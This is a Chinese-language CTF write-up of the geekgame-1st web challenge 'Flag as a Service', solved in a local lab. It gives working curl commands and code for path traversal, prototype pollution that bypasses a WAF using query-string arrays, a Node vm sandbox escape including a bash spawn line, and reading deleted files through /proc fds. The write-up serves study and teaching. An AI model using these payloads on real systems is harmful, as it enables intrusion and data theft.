CTF Web 练习题:Flag 即服务
无聊做做 CTF 题目。
题目描述
题目来源:geekgame-1st
故事背景:网站提供了“JSON-as-a-Service”,可以像 jq 工具一样转换 JSON 格式。一个例子是 http://example.com/api/demo.json?in_path=1/name&out_path=response/data。假设 demo.json 的内容是:
1234[
{"name":"Foo","age":24,"type":"student"},
{"name":"Bar","age":17,"type":"monster"}
]
根据 URL 参数:
in_path=1/name:表示从 JSON 数组的第二个元素(索引为 1)中提取name字段。out_path=response/data:表示将提取的值放入response的data字段中。
因此返回的结果是:
1{"response":{"data":"Bar"}}
解题方法
我在本地用 Podman 复现了题目环境。题目源文件在这里。
获取源码
尝试访问 http://localhost:5000/api/ ,得到报错信息Lynx 是适用于终端环境的网页浏览器,可以方便查看表格等信息。:
123456$ curl -v http://localhost:5000/api/ | lynx --stdin
Error: EISDIR: illegal operation on a directory, read
at Object.readSync (fs.js:618:3)
at tryReadSync (fs.js:383:20)
at Object.readFileSync (fs.js:420:19)
at /usr/src/app/node_modules/jsonaas-backend/index.js:56:19
通过分析可以发现,服务器将 /api/ 后面的路径视为文件进行处理。此外,服务是通过 node_modules 形式安装的,这意味着 package.json 文件中会包含安装方式的说明。利用路径穿越漏洞,我们能够获取应用的源码--path-as-is 是 curl 命令的一个选项,允许在请求中保留并按原样传递 URL 路径,包括不简化 ../ 路径遍历序列。。幸运的是,package.json恰好是 JSON 格式,因此能够被成功读取;如果不是 JSON 格式,应用则会返回错误信息:"Cannot parse file as JSON!",这意味着我们并不能读取任意文件。
1curl --path-as-is -v http://localhost:5000/api/../package.json
简单审计源码,可以得到第一个 flag:
12345module.exports = function start_server(port) {
if(FLAG0!==`flag{${0.1+0.2}}`)
return;
...
}
这里包含了一个有趣的计算机笑话,0.1+0.2 不等于 0.3。我们用 node 计算一下结果:
12$ echo "console.log(0.1+0.2)" | node
0.30000000000000004
解锁服务
相关代码如下:
123456789app.get('/activate', (req, res)=>{
if(req.query.code===FLAG1)
req.session.activated = 1;
if(req.session.activated)
res.send(`You have been activated. Activation code: ${FLAG1}`);
else
res.send('Wrong activation code :(');
});
为了得到 Flag1,我们需要把 req.session.activated 设为一个能让条件判断为真的值。由于应用会根据in_path和out_path访问对象的属性,我们可以用原型链污染的方法修改 Object 的原型。原理如下:
123456789$ node
Welcome to Node.js v20.12.2.
Type ".help" for more information.
> {}.__proto__.activated = true
true
> function Session() {}
undefined
> (new Session).activated
true
但是,源码中的 WAF 过滤了特殊属性的访问,同时不能访问带有下划线 _ 的属性。这里 WAF(Web Application Firewall)是对保护Web应用程序的安全技术的指代。它通过监控、过滤的方法阻止SQL注入、跨站脚本(XSS)、文件包含漏洞和其他常见的Web攻击。
1234567891011121314151617181920212223242526272829303132function waf(str) {
for(let bad_name of Object.getOwnPropertyNames(({}).__proto__))
if(str.indexOf(bad_name)!==-1)
return true;
return false;
}
app.get('/api/:path(*)', (req, res)=>{
let path = 'data/'+req.params.path;
let in_path = req.query.in_path||'';
let out_path = req.query.out_path||'';
let prefix = req.session.prefix ? (req.session.prefix+'/') : '';
if(waf(in_path) || waf(out_path)) { // 检查1:特殊属性不能访问
res.send('Bad parameter!');
return;
}
// ...
in_path = prefix + in_path;
in_path = in_path.split('/').filter(x=>x!=='');
for(let term of in_path) {
if(term.indexOf('_')!==-1) { // 检查2:属性不能带有下划线
res.send('Bad parameter!');
return;
}
// ...
if(data[term]===undefined)
data[term] = {};
data = data[term];
}
// ...
}
打印看一下禁用的属性:
123456789101112131415> Object.getOwnPropertyNames(({}).__proto__)
[
'constructor',
'__defineGetter__',
'__defineSetter__',
'hasOwnProperty',
'__lookupGetter__',
'__lookupSetter__',
'isPrototypeOf',
'propertyIsEnumerable',
'toString',
'valueOf',
'__proto__',
'toLocaleString'
]
到此好像没有头绪了。这里学习到一个新知识,query string 不一定是一个字符串,还可以是字符串数组。Stackoverflow 上的一个问题讨论了三种方法:
123?cars[]=Saab&cars[]=Audi
?cars=Saab&cars=Audi
?cars=Saab,Audi
当前,这三种技术并未被纳入标准文档。然而,实际情况是,第一种方法得到了广泛的共识,并被众多库所采纳。因此,我们可以通过传递字符串数组的方式,绕过 WAF 的第一个检查 str.indexOf(bad_name)。因为 str 是数组,所以不包含特殊属性。数组的属性名如下:
12> Object.getOwnPropertyNames(['arg1', 'arg2'])
[ '0', '1', 'length' ]
至于第二个限制,即不允许使用下划线的情况,我们可以利用.constructor.prototype这一属性来间接实现对.__proto__的访问。
下面的脚本curl --get用于指定 GET 方法发送请求。不指定的情况下,默认采用 POST 方法,将 query 放在 body 中,并设置 Content-Type: application/x-www-form-urlencoded。,可以把 demo.json 的值赋给 {}.__proto__.activated。req.session.activated会被判断为真,并打印 Flag1:
1234curl --get --path-as-is -v http://localhost:5000/api/demo.json \
-d out_path[]=a -d out_path[]=/constructor/prototype/activated
curl --get --path-as-is -v http://localhost:5000/activate \
-d code=anything
任意执行
与下一个 flag 相关的代码如下:
1234567891011121314let FLAG2 = getflag('flag2.txt');
function getflag(path) {
let f;
try {
f = fs.openSync(path);
} catch(e) {
//return 'failed';
throw e;
}
let content = fs.readFileSync(f, {encoding: 'utf-8'}).trim();
fs.unlinkSync(path);
return content;
}
在应用读取 flag 文件后立即删除该文件的情况下,且应用中并未使用到 FLAG2 这个变量。我们需要注意一个关键点:应用在读取文件后没有关闭文件描述符。在 Linux 系统中,即使文件被删除,只要有一个进程持有该文件的描述符,文件实际上并未从文件系统中移除。这是因为文件系统会保留文件的数据块,直到所有引用该文件的描述符都被关闭。以下实验可以验证这一点:
123456789101112$ echo hello>/tmp/hello
$ exec 10<>/tmp/hello
$ ls -l /proc/self/fd/10
lrwx------ 1 ... /proc/self/fd/10 -> /tmp/hello
$ rm /tmp/hello
$ ls -l /proc/self/fd/10
lrwx------ 1 ... /proc/self/fd/10 -> '/tmp/hello (deleted)'
$ cat <&10
hello
$ exec 10>&-
$ ls -l /proc/self/fd/10
ls: cannot access '/proc/self/fd/10': No such file or directory
现在的问题是怎么实现读取 /proc/self/fd/ 下的文件一个有趣的工具 progress 利用 /proc 文件系统来显示基本命令(如 cp、mv、dd、tar、gzip/gunzip、cat 等)的数据复制进度。其原理是:对于找到的每个相关命令进程,遍历其 fd 和 fdinfo 目录,找到其中最大的文件,并持续追踪其读写的位置来计算进度。,并打印出来。
使用 Flag1 升级到 premium 版本后,用户可以启用求值功能。在此过程中,这里我遇到了奇怪的现象:在前面的操作中,我们污染了 {}.__proto__.activated,这导致 req.session.activated = 1 没有被保存 (可能是 express-session 在保存会话数据后未能正确恢复所引起的)。解决这一问题的方法是重启服务器,以清除之前的污染状态。
123456curl -c cookie.txt \
--get --path-as-is -v http://localhost:5000/activate \
--data-urlencode code=flag{I-Can-Activate-From-Prototype}
curl -b cookie.txt -c cookie.txt \
--get --path-as-is -v http://localhost:5000/eval_settings/ \
-d eval=on
求值功能允许我们对 in_path 中加入表达式,比如in_path=(1+0)/name。下面代码中描述了求值的行为,这里 safe_eval(expression) 使用了沙箱 vm.runInNewContext。
1234567891011121314151617181920212223242526272829303132333435363738app.get('/api/:path(*)', (req, res)=>{
// ...
for(let term of in_path) {
if(term.indexOf('_')!==-1) {
res.send('Bad parameter!');
return;
}
if(eval_mode && /^\([^a-zA-Z"',;]+\)$/.test(term))
term = safe_eval(term);
if(data[term]===undefined)
data[term] = {};
data = data[term];
}
// ...
}
const CLIENT_CODE = `
const vm = require("vm");
const code = __USERCODE__;
console.log(vm.runInNewContext(code, {}));
`;
const TIMEOUT_MS = 1000;
function safe_eval(s) {
let code = CLIENT_CODE.replace('__USERCODE__', JSON.stringify(s));
try {
let stdout = child_process.execFileSync('/usr/local/bin/node', ['-'], {
input: code,
env: {},
timeout: TIMEOUT_MS,
encoding: 'utf-8',
killSignal: 'SIGTERM',
});
return stdout.trim();
} catch(_) {
return s;
}
}
简单搜搜,能找到经典的沙箱逃逸方案。
12345678910ForeignFunction = this.constructor.constructor;
// Option 1
const [process1, require1] = ForeignFunction("return [process, require]")();
// Option 2
const process2 = ForeignFunction("return process")();
const require2 = process2.mainModule.require;
// Option 3
const process3 = ForeignFunction("return process")();
const spawn3 = process3.binding('spawn_sync').spawn;
spawn3({file:'bash',args:['bash','-c','cmd'],stdio:[{type:'pipe',readable:true,writable:false}]})
其原理是 this.constructor 是沙箱对象的构造函数。构造函数本身是一个函数,所以它的构造函数(即 this.constructor.constructor)是 Function。用 Function 可以构造运行在沙箱外的函数,从而获得 process, require, spawn 等关键能力。
事实上,用软件实现沙箱是相当困难的,vm2 这个项目尝试了很多办法,但很快又有人提出新的逃逸方案。
Running untrusted code is hard, relying only on software modules as a sandboxing technique to completely prevent misuse of untrusted code execution is a bad decision afterall. It could be a real mess in cloud saas situations, since multiple tenants data is accessible once you are able to escape out of the sandbox process. You could sneak in into other tenants sessions, secrets etc. A far more secure option would be to depend on hardware virtualization like running each tenant code inside a seperate docker container or AWS Lambda Function as a service might also be a better choice.
可以轻松写出以下代码来读取 Flag:
12345678910111213141516171819const ForeignFunction = this.constructor.constructor;
const [process1, require1] = ForeignFunction("return [process, require]")();
const console1 = require1("console");
const fs1 = require1("fs");
let pid = process1.ppid;
let prefix = '/proc/'+pid+'/fd/';
let result = '';
fs1.readdirSync(prefix).forEach((fd) => {
try {
let filename = fs1.readlinkSync(prefix + fd);
if (filename.indexOf('flag') !== -1) {
// 只关注名字包含 flag 的文件
let content = fs1.readFileSync(prefix + fd);
result += content;
}
} catch (_) {}
})
result
用 UglifyJS 压缩一下得到:
1var[r,c]=(0,this.constructor.constructor)("return [process, this.global.require]")();c("console");const n=c("fs");let e="/proc/"+r.ppid+"/fd/",o="magic:";n.readdirSync(e).forEach(r=>{try{var c;-1!==n.readlinkSync(e+r).indexOf("flag")&&(c=n.readFileSync(e+r),o+=c)}catch(r){}}),o
然而,应用对代码的字符集设定了限制,仅允许不包含 [a-zA-Z"',;] 的字符。初步考虑使用 JSFuck 来编码,但这种方法生成的字符串过于冗长(超过8万个字符),超出了 URL 的长度限制。经过测试,发现 URL 的长度限制大约在 5000 字符左右。鉴于应用允许使用数字,这为我们提供了比 JSFuck 更多的可用字符,因此,我们可以探索一种方法来缩短代码长度。
一个想法是通过创建一个数据对象 $,其中每个下标 i 对应 ASCII 码为 i 的字符,从而可以用类似 $[118]+$[97]+$[114]+... 的方式来表达任意代码。以下是实现这一想法的代码示例:
1234($ => eval($[118]+$[97]+$[114]+...)
)('0-1-2-3-4-..-128'
.split('-')
.map(x=>String.fromCharCode(x)))
这一代码本身需要手工构造,这个 StackOverflow 上的讨论提供了很多想法。下面是一个完整的构造过程。这里有趣的一点是利用 Number.toString(36) 方法生成所有的小写字母,因为 36 进制包含了从 0 到 9 和从 a 到 z 的所有字符。
123456789101112131415161718192021222324252627282930313233343536373839404142// $0 = 'constructor'
// $1 = eval(....)
// $2 = 'function String() { [native code] }'
// $3 = '[object Array Iterator]'
// 0 5 10 5 20 5
// $5($0) = 'toString'
console.info(
($0=>$1=>$2=>$3=>$5=>
($=>$1( $[118]+$[97]+$[114]+... )) ($1(
`\`0-1-2-3-4-...-126-127\`.`+
$0[3] + // s
(25)[$5($0)](36) + // p
(21)[$5($0)](36) + // l
$2[5] + // i
$3[6] + `(\`-\`).` + // t
(22)[$5($0)](36) + // m
$3[11] + // a
(25)[$5($0)](36) + // p
`($=>` +
$2[9] + // S
$2[10] + // t
$2[11] + // r
$2[12] + // i
$2[13] + // n
$2[14] + `.` + // g
$2[0] + $0[5] + $0[1] + // fro
(22)[$5($0)](36) + // m
$1(`\`\\` + (33)[$5($0)](36) + `43\``) + // C
(17)[$5($0)](36) + // h
$2[22] + // a
$0[5] + // r
$1(`\`\\` + (33)[$5($0)](36) + `43\``) + // C
$0[1] + // o
$2[30] + $2[31] + `($))` // de
))
)
(([]+{}+``)[5]+([]+{}+``)[1]+(([]+[])[1]+``)[1]+(!1+``)[3]+(!0+``)[0]+(!0+``)[1]+(!0+``)[2]+([]+{}+``)[5]+(!0+``)[0]+([]+{}+``)[1]+(!0+``)[1])
(/* eval 的实现,从 JSFuck 直接生成,约 1500 个字符 */)
((``)[([]+{}+``)[5]+([]+{}+``)[1]+(([]+[])[1]+``)[1]+(!1+``)[3]+(!0+``)[0] +(!0+``)[1]+(!0+``)[2]+([]+{}+``)[5]+(!0+``)[0]+([]+{}+``)[1]+(!0+``)[1]]+``)
([][(!![]+[])[!+[]+1+1]+([][[]]+[])[1]+(!![]+[])[+[]]+(!![]+[])[1]+([![]]+[][[]])[+1+[+[]]]+(!![]+[])[!+[]+1+1]+(![]+[])[!+[]+1+1]]()+[])
($$=>(!0+``)[0]+([]+{}+``)[1]+($=((``)[$$]+``))[9]+$[10]+$[11]+$[12]+$[13]+$[14])
)
这种方法可以将字符数量压缩至大约3000个。将要执行的代码保存至 payload.txt 文件中,然后运行以下脚本。该脚本通过将结果存储在 Object 的原型链上除了把结果写在原型链,还可以以 JSON 的格式写在一个文件里,然后用 Flag0 的方法读取。,并将结果返回给客户端。
12345# 去取 newlines 和 spaces,同时对加号进行 urlencode
payload=$(cat payload.txt | sed ':a;N;$!ba;s/[ \t\n]//g' | sed 's/+/%2B/g')
curl --cookie cookie.txt --get --path-as-is -v http://localhost:5000/api/demo.json \
--data-urlencode in_path[]=a \
--data "in_path[]=/constructor/prototype/(${payload})/constructor/prototype"
至此,我们就取到了最后一个 Flag2。
知识点总结
这个问题的挑战性相当高,它要求对多种领域的知识都有一定的掌握。在不看解答的情况下,我只能取到 Flag0 🤣。
以下是对相关知识点的总结。
-
路径穿越漏洞:
- 利用路径穿越漏洞(如
../)来读取服务器上的文件,例如package.json。 - 通过
curl --path-as-is选项来保留并按原样传递URL路径。
- 利用路径穿越漏洞(如
-
原型链污染:
- 利用原型链污染修改
Object的原型,从而影响所有继承自Object的对象。 - 利用
.constructor.prototype间接访问.__proto__,绕过对下划线的限制。
- 利用原型链污染修改
-
URL query string 传递数组:
- 用
array[]=b&&array[]=b的方式在 URL query string 中传递字符串数组。 - 通过传递字符串数组的方式可以绕过 getOwnPropertyNames 检查,因为数组的属性名(如
0,1,length)不包含特殊属性(如constructor)。
- 用
-
NodeJS 沙箱逃逸:
- 针对
vm.runInNewContext沙箱通过构造特定的代码来获取process和require对象。
- 针对
-
文件描述符利用:
- 利用Linux系统中文件描述符的特性,即使文件被删除,只要有一个进程持有该文件的描述符,文件数据仍然可访问。
- 通过读取
/proc/self/fd/目录下的文件链接来获取被删除的文件内容。